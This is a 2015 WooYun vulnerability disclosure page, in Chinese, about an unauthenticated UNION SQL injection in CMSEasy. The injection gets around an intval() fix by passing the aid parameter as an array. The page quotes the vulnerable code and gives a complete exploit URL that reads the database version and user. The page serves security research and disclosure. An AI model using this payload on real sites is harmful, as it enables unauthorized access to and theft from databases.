当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094151

漏洞标题:cmseasy 修复不当前台无需登录union注射(php缺陷绕过)

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2015-01-27 22:29

修复时间:2015-04-27 22:30

公开时间:2015-04-27 22:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-27: 细节已通知厂商并且等待厂商处理中
2015-01-28: 厂商已经确认,细节仅向厂商公开
2015-01-31: 细节向第三方安全合作伙伴开放
2015-03-24: 细节向核心白帽子及相关领域专家公开
2015-04-03: 细节向普通白帽子公开
2015-04-13: 细节向实习白帽子公开
2015-04-27: 细节向公众公开

简要描述:

cmseasy 修复不当前台无需登录union注射

详细说明:

下载最新版本的cmseasy,
文件大小:9.83 MB
更新日期:2015-01-21
推荐配置:Mysql5.0 + PHP 5.0
看看这里的修复方案:
archive.php:

} elseif (intval(front::get('aid'))) {
$this->view->archive = archive::getInstance()->getrow(front::get('aid'));
$this->view->categorys = category::getpositionlink2($this->view->archive['catid']);
$this->view->paylist = pay::getInstance()->getrows('', 50);
$this->view->logisticslist = logistics::getInstance()->getrows('', 50);


这里居然搞成intval(front::get('aid')) 这不是自欺欺人呢么
大家都知道intval("1 sdasda") == 1 成立的
还有一个特性,就是如果传递的是数组
<?php
$a = array(1234);
echo intval($a);
?>
这个的输出结果是1 正好绕过
ok
访问url:
http://localhost/cmseasynew/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1

56.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-01-28 14:28

厂商回复:

感谢

最新状态:

暂无